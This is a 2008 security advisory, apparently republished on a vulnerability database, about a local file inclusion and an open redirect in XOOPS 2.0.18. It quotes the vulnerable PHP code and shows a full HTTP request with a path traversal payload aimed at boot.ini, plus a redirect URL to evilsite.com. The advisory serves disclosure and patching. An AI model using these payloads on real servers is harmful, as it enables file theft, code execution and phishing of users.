Lucene search
K

XOOPS 2.0.18 Local File Inclusion / URL Redirecting Vulnerabilities

🗓️ 05 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

XOOPS 2.0.18 Local File Inclusion / URL Redirecting Vulnerabilities. Attacker can inject PHP code and execute OS commands with webserver user privileges

Code

                                                Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009


Application:                    XOOPS
Versions Affected:              XOOPS 2.0.18
Vendor URL:                     http://www.xoops.org/
Bugs:                           Local File Include,URL Redirecting  phishing
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                28.01.2008
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)





Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


Details
*******


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php  vulnerable POST parameter lang



vulnerable code:

************************************************



$language = 'english';
if ( !empty($_POST['lang']) ) {
    $language = $_POST['lang'];
.
.
.
.



if ( file_exists("./language/".$language."/install.php") ) {
    include_once "./language/".$language."/install.php";


************************************************









Example:


POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next










---------------------------------------------------------------------


2. URL Redirection phishing 

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" 


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com 



Fix Information
***************


Vendor  fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1
30